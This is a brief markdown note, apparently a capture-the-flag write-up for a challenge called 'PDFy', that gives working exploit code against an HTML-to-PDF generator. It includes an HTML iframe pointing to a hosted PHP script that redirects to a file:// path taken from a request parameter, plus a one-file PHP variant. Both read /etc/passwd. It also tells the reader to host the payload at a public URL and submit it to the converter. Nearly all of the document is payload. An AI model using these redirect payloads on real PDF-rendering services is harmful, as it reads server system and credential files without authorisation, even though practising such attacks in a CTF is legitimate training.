PDFy.md
- Create index.html
<!DOCTYPE html>
<body>
<iframe src="https://prismatic-druid-f8a2b3.netlify.app/flag.php?x=/etc/passwd" style="height:800px;width:100%"></iframe>
</body>
</html>
- Create flag.php
<?php header('location:file://'.$_REQUEST['x']); ?>
OR
- all in one PHP file
<!DOCTYPE html>
<html>
<body>
<?php
header('location:file:///etc/passwd');
?>
</body>
</html>
Set up a HTTP server with public accessible URL. And submit the URL to the website to generate PDF.
Free Ngrok alternative